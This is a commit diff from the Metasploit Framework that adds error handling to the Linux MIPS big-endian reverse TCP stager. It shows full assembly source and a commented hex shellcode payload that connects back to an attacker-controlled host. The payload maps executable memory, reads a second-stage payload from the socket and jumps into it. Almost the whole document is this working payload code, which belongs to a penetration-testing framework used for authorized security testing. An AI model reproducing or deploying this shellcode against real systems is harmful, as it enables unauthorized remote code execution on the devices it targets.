Land #8653, add error handling to mipsbe linux reverse tcp stager
Tim
commit
75c571de83
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@ -1,11 +1,11 @@
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##
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#
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#
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# Name: stager_sock_reverse
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# Type: Stager
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# Qualities: No Nulls out of the IP / Port data
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# Platforms: Linux MIPS Big Endian
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# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
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# License:
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# Authors: juan vazquez <juan.vazquez [at] metasploit.com>, tkmru
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# License:
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#
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# This file is part of the Metasploit Exploit Framework
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# and is subject to the same licenses and copyrights as
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@ -27,101 +27,117 @@
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# generate the string to place on:
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# modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
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##
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.text
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.align 2
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.globl main
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.set nomips16
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.text
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.align 2
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.globl main
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.set nomips16
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main:
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.set noreorder
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.set nomacro
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.set noreorder
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.set nomacro
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# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
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# a0: domain = PF_INET (2)
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# a1: type = SOCK_STREAM (2)
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# a2: protocol = IPPROTO_IP (0)
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# v0: syscall = __NR_socket (4183)
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li $t7, -6
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nor $t7, $t7, $zero
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addi $a0, $t7, -3
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addi $a1, $t7, -3
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slti $a2, $zero, -1
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li $v0, 4183
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syscall 0x40404
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slt $s0, $zero, $a3
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bne $s0, $zero, failed
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sw $v0, -4($sp) # store the file descriptor for the socket on the stack
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# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
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# a0: domain = PF_INET (2)
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# a1: type = SOCK_STREAM (2)
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# a2: protocol = IPPROTO_IP (0)
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# v0: syscall = __NR_socket (4183)
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li $t7, -6
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nor $t7, $t7, $zero
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addi $a0, $t7, -3
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addi $a1, $t7, -3
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slti $a2, $zero, -1
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li $v0, 4183
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syscall 0x40404
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sw $v0, -4($sp) # store the file descriptor for the socket on the stack
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# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
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# a0: sockfd
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# a1: addr = AF_INET (2)
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# a2: addrlen = 16
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# v0: syscall = __NR_connect (4170)
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lw $a0, -4($sp)
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li $t7, -3
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nor $t7, $t7, $zero
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sw $t7, -32($sp)
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lui $t6, 0x115c
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sw $t6, -28($sp)
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lui $t6, 0x7f00 # ip
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ori $t6, $t6, 0x0001 # ip
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sw $t6, -26($sp)
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addiu $a1, $sp, -30
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li $t4, -17
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nor $a2, $t4, $zero
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li $v0, 4170
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syscall 0x40404
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# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
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# a0: addr = -1
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# a1: lenght = 4096
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# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
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# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
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# sp(16): fd = -1
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# sp(20): offset = 0
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# v0: syscall = __NR_mmap (4090)
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li $a0, -1
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li $a1, 4097
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addi $a1, $a1, -1
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li $t1, -8
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nor $t1, $t1, $0
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add $a2, $t1, $0
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li $a3, 2050
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li $t3, -22
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nor $t3, $t3, $zero
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add $t3, $sp, $t3
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sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
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sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
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li $v0, 4090
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syscall 0x40404
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sw $v0, -8($sp) # Stores the mmap'ed address on the stack
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# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)
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# a0: sockfd
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# a1: addr = AF_INET (2)
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# a2: addrlen = 16
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# v0: syscall = __NR_connect (4170)
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lw $a0, -4($sp)
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li $t7, -3
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nor $t7, $t7, $zero
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sw $t7, -32($sp)
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lui $t6, 0x115c
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sw $t6, -28($sp)
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lui $t6, 0x7f00 # ip
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ori $t6, $t6, 0x0001 # ip
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sw $t6, -26($sp)
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addiu $a1, $sp, -30
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li $t4, -17
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nor $a2, $t4, $zero
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li $v0, 4170
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syscall 0x40404
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slt $s0, $zero, $a3
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bne $s0, $zero, failed
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# read(sockfd, addr, 4096)
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# a0: sockfd
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# a1: addr
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# a2: len = 4096
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# v0: syscall = __NR_read (4003)
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lw $a0, -4($sp)
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lw $a1, -8($sp)
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li $a2, 4097
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addi $a2, $a2, -1
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li $v0, 4003
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syscall 0x40404
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# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
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# a0: addr = -1
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# a1: lenght = 4096
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# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
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# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
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# sp(16): fd = -1
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# sp(20): offset = 0
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# v0: syscall = __NR_mmap (4090)
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li $a0, -1
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li $a1, 4097
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addi $a1, $a1, -1
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li $t1, -8
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nor $t1, $t1, $0
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add $a2, $t1, $0
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li $a3, 2050
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li $t3, -22
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nor $t3, $t3, $zero
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add $t3, $sp, $t3
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sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
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sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
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li $v0, 4090
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syscall 0x40404
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slt $s0, $zero, $a3
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bne $s0, $zero, failed
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sw $v0, -8($sp) # Stores the mmap'ed address on the stack
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# cacheflush(addr, nbytes, DCACHE)
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# a0: addr
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# a1: nbytes
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# a2: cache = DCACHE (2)
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# v0: syscall = __NR_read (4147)
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lw $a0, -8($sp)
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add $a1, $v0, $zero
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li $t1, -3
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nor $t1, $t1, $0
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add $a2, $t1, $0
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li $v0, 4147
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syscall 0x40404
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# jmp to the stage
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lw $s1, -8($sp)
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lw $s2, -4($sp)
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jalr $s1
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# read(sockfd, addr, 4096)
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# a0: sockfd
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# a1: addr
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# a2: len = 4096
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# v0: syscall = __NR_read (4003)
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lw $a0, -4($sp)
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lw $a1, -8($sp)
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li $a2, 4097
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addi $a2, $a2, -1
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li $v0, 4003
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syscall 0x40404
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slt $s0, $zero, $a3
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bne $s0, $zero, failed
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.set macro
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.set reorder
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# cacheflush(addr, nbytes, DCACHE)
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# a0: addr
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# a1: nbytes
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# a2: cache = DCACHE (2)
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# v0: syscall = __NR_read (4147)
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lw $a0, -8($sp)
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add $a1, $v0, $zero
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li $t1, -3
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nor $t1, $t1, $0
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add $a2, $t1, $0
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li $v0, 4147
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syscall 0x40404
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slt $s0, $zero, $a3
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bne $s0, $zero, failed
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# jmp to the stage
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lw $s1, -8($sp)
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lw $s2, -4($sp)
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jalr $s1
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failed:
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# exit(status)
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# a0: status
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# v0: syscall = __NR_exit (4001)
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li $a0, 1
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li $v0, 4001
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syscall 0x40404
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.set macro
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.set reorder
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@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp'
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module MetasploitModule
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CachedSize = 212
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CachedSize = 272
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include Msf::Payload::Stager
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include Msf::Payload::Linux
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@ -20,7 +20,8 @@ module MetasploitModule
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'Description' => 'Connect back to the attacker',
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'Author' =>
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[
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'juan vazquez'
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'juan vazquez',
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'tkmru'
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],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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@ -30,26 +31,85 @@ module MetasploitModule
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{
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'Offsets' =>
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{
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'LHOST' => [ [58, 62], 'ADDR16MSB' ],
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'LPORT' => [ 50, 'n' ],
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'LHOST' => [ [66, 70], 'ADDR16MSB' ],
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'LPORT' => [ 58, 'n' ],
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},
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'Payload' =>
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"\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5" +
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"\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c" +
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"\xaf\xa2\xff\xfc\x8f\xa4\xff\xfc\x24\x0f\xff\xfd\x01\xe0" +
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"\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x11\x5c\xaf\xae\xff\xe4" +
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"\x3c\x0e\x7f\x00\x35\xce\x00\x01\xaf\xae\xff\xe6\x27\xa5" +
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"\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a" +
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"\x01\x01\x01\x0c\x24\x04\xff\xff\x24\x05\x10\x01\x20\xa5" +
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"\xff\xff\x24\x09\xff\xf8\x01\x20\x48\x27\x01\x20\x30\x20" +
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"\x24\x07\x08\x02\x24\x0b\xff\xea\x01\x60\x58\x27\x03\xab" +
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"\x58\x20\xad\x60\xff\xff\xad\x62\xff\xfb\x24\x02\x0f\xfa" +
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"\x01\x01\x01\x0c\xaf\xa2\xff\xf8\x8f\xa4\xff\xfc\x8f\xa5" +
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"\xff\xf8\x24\x06\x10\x01\x20\xc6\xff\xff\x24\x02\x0f\xa3" +
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"\x01\x01\x01\x0c\x8f\xa4\xff\xf8\x00\x40\x28\x20\x24\x09" +
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"\xff\xfd\x01\x20\x48\x27\x01\x20\x30\x20\x24\x02\x10\x33" +
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"\x01\x01\x01\x0c\x8f\xb1\xff\xf8\x8f\xb2\xff\xfc\x02\x20" +
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"\xf8\x09"
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"\x24\x0f\xff\xfa" + # li t7,-6
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"\x01\xe0\x78\x27" + # nor t7,t7,zero
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"\x21\xe4\xff\xfd" + # addi a0,t7,-3
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"\x21\xe5\xff\xfd" + # addi a1,t7,-3
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"\x28\x06\xff\xff" + # slti a2,zero,-1
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"\x24\x02\x10\x57" + # li v0,4183
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# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
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"\x01\x01\x01\x0c" + # syscall 0x40404
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"\x00\x07\x80\x2a" + # slt s0,zero,a3
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"\x16\x00\x00\x36" + # bnez s0,0x4006bc <failed>
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"\xaf\xa2\xff\xfc" + # sw v0,-4(sp)
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"\x8f\xa4\xff\xfc" + # lw a0,-4(sp)
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"\x24\x0f\xff\xfd" + # li t7,-3
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"\x01\xe0\x78\x27" + # nor t7,t7,zero
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"\xaf\xaf\xff\xe0" + # sw t7,-32(sp)
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"\x3c\x0e\x11\x5c" + # lui t6,0x115c
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"\xaf\xae\xff\xe4" + # sw t6,-28(sp)
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"\x3c\x0e\x7f\x00" + # lui t6,0x7f00
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"\x35\xce\x00\x01" + # ori t6,t6,0x1
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"\xaf\xae\xff\xe6" + # sw t6,-26(sp)
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"\x27\xa5\xff\xe2" + # addiu a1,sp,-30
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"\x24\x0c\xff\xef" + # li t4,-17
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"\x01\x80\x30\x27" + # nor a2,t4,zero
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"\x24\x02\x10\x4a" + # li v0,4170
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# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)
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"\x01\x01\x01\x0c" + # syscall 0x40404
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"\x00\x07\x80\x2a" + # slt s0,zero,a3
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"\x16\x00\x00\x25" + # bnez s0,0x4006bc <failed>
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"\x24\x04\xff\xff" + # li a0,-1
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"\x24\x05\x10\x01" + # li a1,4097
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"\x20\xa5\xff\xff" + # addi a1,a1,-1
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"\x24\x09\xff\xf8" + # li t1,-8
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"\x01\x20\x48\x27" + # nor t1,t1,zero
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"\x01\x20\x30\x20" + # add a2,t1,zero
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"\x24\x07\x08\x02" + # li a3,2050
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"\x24\x0b\xff\xea" + # li t3,-22
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"\x01\x60\x58\x27" + # nor t3,t3,zero
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"\x03\xab\x58\x20" + # add t3,sp,t3
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"\xad\x60\xff\xff" + # sw zero,-1(t3)
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"\xad\x62\xff\xfb" + # sw v0,-5(t3)
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"\x24\x02\x0f\xfa" + # li v0,4090
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# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
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"\x01\x01\x01\x0c" + # syscall 0x40404
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"\x00\x07\x80\x2a" + # slt s0,zero,a3
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"\x16\x00\x00\x15" + # bnez s0,0x4006bc <failed>
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"\xaf\xa2\xff\xf8" + # sw v0,-8(sp)
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"\x8f\xa4\xff\xfc" + # lw a0,-4(sp)
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"\x8f\xa5\xff\xf8" + # lw a1,-8(sp)
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"\x24\x06\x10\x01" + # li a2,4097
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"\x20\xc6\xff\xff" + # addi a2,a2,-1
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"\x24\x02\x0f\xa3" + # li v0,4003
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# read(sockfd, addr, 4096)
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"\x01\x01\x01\x0c" + # syscall 0x40404
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"\x00\x07\x80\x2a" + # slt s0,zero,a3
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"\x16\x00\x00\x0c" + # bnez s0,0x4006bc <failed>
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"\x8f\xa4\xff\xf8" + # lw a0,-8(sp)
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"\x00\x40\x28\x20" + # add a1,v0,zero
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"\x24\x09\xff\xfd" + # li t1,-3
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"\x01\x20\x48\x27" + # nor t1,t1,zero
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"\x01\x20\x30\x20" + # add a2,t1,zero
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"\x24\x02\x10\x33" + # li v0,4147
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# cacheflush(addr, nbytes, DCACHE)
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"\x01\x01\x01\x0c" + # syscall 0x40404
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"\x00\x07\x80\x2a" + # slt s0,zero,a3
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"\x16\x00\x00\x03" + # bnez s0,0x4006bc <failed>
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"\x8f\xb1\xff\xf8" + # lw s1,-8(sp)
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"\x8f\xb2\xff\xfc" + # lw s2,-4(sp)
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"\x02\x20\xf8\x09" + # jalr s1
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# 4006bc <failed>:
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"\x24\x04\x00\x01" + # li a0,1
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"\x24\x02\x0f\xa1" + # li v0,4001
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# exit(status)
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"\x01\x01\x01\x0c" + # syscall 0x40404
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"\x00\x20\x08\x25" + # move at,at
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"\x00\x20\x08\x25" # move at,at
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}
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))
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end
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